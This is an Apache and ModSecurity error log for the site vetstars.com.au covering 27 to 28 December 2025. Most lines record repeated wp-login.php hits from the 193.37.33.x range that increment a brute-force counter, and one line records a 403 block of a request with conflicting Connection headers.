[Sat Dec 27 22:10:23.845350 2025] [:error] [pid 32278:tid 32286] [client 193.37.33.34:28651] [client 193.37.33.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_oz3-IfCN2Cy9Gccg9VgAAAMY"]
[Sat Dec 27 22:17:00.827963 2025] [:error] [pid 32192:tid 32245] [client 193.37.33.18:20281] [client 193.37.33.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_qXC_q0VFe066lbk9rMgAAAFY"]
[Sat Dec 27 22:23:39.162912 2025] [:error] [pid 32192:tid 32232] [client 193.37.33.38:28729] [client 193.37.33.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_r6y_q0VFe066lbk9sNQAAAEk"]
[Sat Dec 27 22:30:21.411027 2025] [:error] [pid 15939:tid 15953] [client 193.37.33.33:64199] [client 193.37.33.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_tfeZ7qdnFxikanML4iQAAAQw"]
[Sat Dec 27 22:36:53.108187 2025] [:error] [pid 32192:tid 32246] [client 193.37.33.18:57623] [client 193.37.33.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_vBS_q0VFe066lbk9teQAAAFc"]
[Sat Dec 27 22:43:19.318346 2025] [:error] [pid 3114:tid 3123] [client 193.37.33.49:62349] [client 193.37.33.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_wh2JGrIkLOdbPpJi_3wAAAYU"]
[Sat Dec 27 22:49:44.667333 2025] [:error] [pid 15939:tid 15961] [client 193.37.33.41:56335] [client 193.37.33.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_yCOZ7qdnFxikanML7EwAAARQ"]
[Sat Dec 27 22:56:15.821744 2025] [:error] [pid 32192:tid 32240] [client 193.37.33.35:65295] [client 193.37.33.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_zjy_q0VFe066lbk9v6gAAAFE"]
[Sat Dec 27 23:02:59.908330 2025] [:error] [pid 32192:tid 32233] [client 193.37.33.54:50863] [client 193.37.33.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_1Iy_q0VFe066lbk9wuwAAAEo"]
[Sat Dec 27 23:16:31.988170 2025] [:error] [pid 3114:tid 3137] [client 193.37.33.56:27751] [client 193.37.33.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_4T2JGrIkLOdbPpJjGnQAAAZM"]
[Sat Dec 27 23:23:16.570026 2025] [:error] [pid 31933:tid 31936] [client 193.37.33.32:20575] [client 193.37.33.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_55MGr1WIJr39uqaoY5QAAAcE"]
[Sat Dec 27 23:29:57.937731 2025] [:error] [pid 32193:tid 32250] [client 193.37.33.233:54537] [client 193.37.33.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.233, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_7dRgw0eCOc2qYqaLKUAAAAIA"]
[Sat Dec 27 23:36:43.239461 2025] [:error] [pid 31933:tid 31937] [client 193.37.33.19:35559] [client 193.37.33.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU_9C8Gr1WIJr39uqaocegAAAcI"]
[Sat Dec 27 23:49:48.842076 2025] [:error] [pid 3114:tid 3137] [client 193.37.33.22:32497] [client 193.37.33.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAAHGJGrIkLOdbPpJjNFwAAAZM"]
[Sat Dec 27 23:56:43.668707 2025] [:error] [pid 3114:tid 3126] [client 193.37.33.9:24783] [client 193.37.33.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVABu2JGrIkLOdbPpJjOLwAAAYg"]
[Sun Dec 28 00:03:19.674466 2025] [:error] [pid 3114:tid 3127] [client 193.37.33.39:53305] [client 193.37.33.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVADR2JGrIkLOdbPpJjPKAAAAYk"]
[Sun Dec 28 00:09:58.759408 2025] [:error] [pid 32191:tid 32214] [client 193.37.33.45:37215] [client 193.37.33.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAE1rPNtMgrjVCHIdFXlAAAABM"]
[Sun Dec 28 00:16:46.770276 2025] [:error] [pid 46742:tid 46750] [client 193.37.33.44:35659] [client 193.37.33.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAGbuioIIea_hBqsHdnKwAAAMQ"]
[Sun Dec 28 00:23:17.507970 2025] [:error] [pid 46655:tid 46729] [client 193.37.33.39:50151] [client 193.37.33.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAH9RJiIF9AF5FHxvBsWgAAAJA"]
[Sun Dec 28 00:36:36.078874 2025] [:error] [pid 46655:tid 46713] [client 193.37.33.41:49553] [client 193.37.33.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVALFBJiIF9AF5FHxvBxIwAAAIA"]
[Sun Dec 28 00:43:07.623445 2025] [:error] [pid 46742:tid 46764] [client 193.37.33.35:51033] [client 193.37.33.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.35, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAMm-ioIIea_hBqsHdy5gAAANI"]
[Sun Dec 28 00:56:15.914669 2025] [:error] [pid 46655:tid 46721] [client 193.37.33.46:65055] [client 193.37.33.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAPrxJiIF9AF5FHxvB4XgAAAIg"]
[Sun Dec 28 01:02:45.565162 2025] [:error] [pid 46654:tid 46688] [client 193.37.33.51:62715] [client 193.37.33.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVARNayyuBQW4Tqizy6AQgAAAEI"]
[Sun Dec 28 01:09:23.385061 2025] [:error] [pid 46654:tid 46689] [client 193.37.33.14:50905] [client 193.37.33.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVASw6yyuBQW4Tqizy6CFQAAAEM"]
[Sun Dec 28 01:15:46.431938 2025] [:error] [pid 46655:tid 46726] [client 193.37.33.234:51875] [client 193.37.33.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAUQhJiIF9AF5FHxvB_TAAAAI0"]
[Sun Dec 28 01:25:35.704193 2025] [:error] [pid 46742:tid 46753] [client 193.37.33.56:46199] [client 193.37.33.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAWj-ioIIea_hBqsHeGHAAAAMc"]
[Sun Dec 28 01:31:59.866811 2025] [:error] [pid 46653:tid 46658] [client 193.37.33.48:35443] [client 193.37.33.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAYD7j2DbiG6mG0UTPcbQAAAAE"]
[Sun Dec 28 01:38:29.309178 2025] [:error] [pid 46654:tid 46701] [client 193.37.33.51:24123] [client 193.37.33.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAZlayyuBQW4Tqizy6L-QAAAE8"]
[Sun Dec 28 01:44:51.274336 2025] [:error] [pid 46654:tid 46706] [client 193.37.33.14:31887] [client 193.37.33.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAbE6yyuBQW4Tqizy6O1wAAAFQ"]
[Sun Dec 28 01:51:12.194000 2025] [:error] [pid 46653:tid 46660] [client 193.37.33.43:58255] [client 193.37.33.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.43, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAckLj2DbiG6mG0UTPkpwAAAAM"]
[Sun Dec 28 01:57:33.217291 2025] [:error] [pid 46742:tid 46770] [client 193.37.33.32:44547] [client 193.37.33.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAeDeioIIea_hBqsHeZ3QAAANg"]
[Sun Dec 28 02:03:49.354338 2025] [:error] [pid 46653:tid 46677] [client 193.37.33.48:36555] [client 193.37.33.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAfhbj2DbiG6mG0UTPpKAAAABQ"]
[Sun Dec 28 02:10:17.905516 2025] [:error] [pid 46653:tid 46662] [client 193.37.33.212:49969] [client 193.37.33.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAhCbj2DbiG6mG0UTPq8AAAAAU"]
[Sun Dec 28 02:16:24.136059 2025] [:error] [pid 46742:tid 46759] [client 193.37.33.29:58889] [client 193.37.33.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAieOioIIea_hBqsHeikwAAAM0"]
[Sun Dec 28 02:22:41.025963 2025] [:error] [pid 46654:tid 46692] [client 193.37.33.14:54875] [client 193.37.33.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAj8ayyuBQW4Tqizy6bjQAAAEY"]
[Sun Dec 28 02:28:59.204406 2025] [:error] [pid 46655:tid 46718] [client 193.37.33.233:20057] [client 193.37.33.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.233, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAlaxJiIF9AF5FHxvCdTAAAAIU"]
[Sun Dec 28 02:35:15.506089 2025] [:error] [pid 46654:tid 46688] [client 193.37.33.32:48479] [client 193.37.33.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAm46yyuBQW4Tqizy6iDQAAAEI"]
[Sun Dec 28 02:41:37.994677 2025] [:error] [pid 46655:tid 46722] [client 193.37.33.34:55305] [client 193.37.33.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAoYRJiIF9AF5FHxvCiVQAAAIk"]
[Sun Dec 28 02:47:47.018354 2025] [:error] [pid 46742:tid 46756] [client 193.37.33.38:21795] [client 193.37.33.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAp0-ioIIea_hBqsHeyZQAAAMo"]
[Sun Dec 28 02:54:06.739847 2025] [:error] [pid 46654:tid 46693] [client 193.37.33.20:58963] [client 193.37.33.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.20, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVArTqyyuBQW4Tqizy6m0gAAAEc"]
[Sun Dec 28 03:00:25.944402 2025] [:error] [pid 46742:tid 46765] [client 193.37.33.46:43997] [client 193.37.33.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAsyeioIIea_hBqsHe3IAAAANM"]
[Sun Dec 28 03:01:19.876138 2025] [:error] [pid 16521:tid 16546] [client 49.233.45.47:59820] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVAs_xEEiW6xuzLMNqlj-QAAAVc"]
[Sun Dec 28 03:06:41.197817 2025] [:error] [pid 16492:tid 16505] [client 193.37.33.46:52837] [client 193.37.33.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAuQaF2CO0dbNzfKj4laAAAAQs"]
[Sun Dec 28 03:19:16.480451 2025] [:error] [pid 20044:tid 20129] [client 193.37.33.54:25485] [client 193.37.33.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAxNCgP-mJiwp2OL6oSAAAAAA4"]
[Sun Dec 28 03:25:27.812894 2025] [:error] [pid 61668:tid 61680] [client 193.37.33.30:51793] [client 193.37.33.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVAypx0DVqnUEB2i-KpjuwAAAAg"]
[Sun Dec 28 03:31:39.711064 2025] [:error] [pid 26829:tid 26840] [client 193.37.33.23:63583] [client 193.37.33.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA0G9MUiM7h_XWVXa1lJgAAAMk"]
[Sun Dec 28 03:37:54.276872 2025] [:error] [pid 64137:tid 64171] [client 193.37.33.233:28283] [client 193.37.33.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.233, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA1kuqo3j9PF2he08wDoAAAAA4"]
[Sun Dec 28 03:44:11.768083 2025] [:error] [pid 64139:tid 64215] [client 193.37.33.29:45155] [client 193.37.33.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA3Cz8luD75Getp0OM9kAAAAIQ"]
[Sun Dec 28 03:50:22.180749 2025] [:error] [pid 42294:tid 42362] [client 193.37.33.34:37339] [client 193.37.33.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA4ftTE5kYcYCOzl9Ez-gAAAIw"]
[Sun Dec 28 03:56:37.305705 2025] [:error] [pid 42293:tid 42344] [client 193.37.33.46:35857] [client 193.37.33.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA59cvc9B-5cwN385IIvwAAAFU"]
[Sun Dec 28 04:09:15.271295 2025] [:error] [pid 43789:tid 43810] [client 193.37.33.212:25481] [client 193.37.33.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA86wa-tUppni4CcCatLQAAARM"]
[Sun Dec 28 04:15:33.261724 2025] [:error] [pid 42378:tid 42388] [client 193.37.33.8:47687] [client 193.37.33.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.8, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA-ZTgtcN-KHAjWrX-TnQAAAMg"]
[Sun Dec 28 04:21:45.537954 2025] [:error] [pid 42378:tid 42394] [client 193.37.33.38:37681] [client 193.37.33.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVA_2TgtcN-KHAjWrX-VMQAAAM4"]
[Sun Dec 28 04:27:55.788802 2025] [:error] [pid 42293:tid 42342] [client 193.37.33.47:23115] [client 193.37.33.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBBS8vc9B-5cwN385IO0wAAAFM"]
[Sun Dec 28 04:34:14.852127 2025] [:error] [pid 42294:tid 42368] [client 193.37.33.30:57613] [client 193.37.33.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBCxtTE5kYcYCOzl9E9egAAAJI"]
[Sun Dec 28 04:40:21.256609 2025] [:error] [pid 42292:tid 42313] [client 193.37.33.16:33429] [client 193.37.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBENZyOrM_vaFx1osbGCQAAABE"]
[Sun Dec 28 04:46:41.776855 2025] [:error] [pid 42292:tid 42296] [client 193.37.33.40:26887] [client 193.37.33.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBFsZyOrM_vaFx1osbHagAAAAA"]
[Sun Dec 28 04:59:13.317558 2025] [:error] [pid 42293:tid 42342] [client 193.37.33.9:45771] [client 193.37.33.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBIocvc9B-5cwN385IYcgAAAFM"]
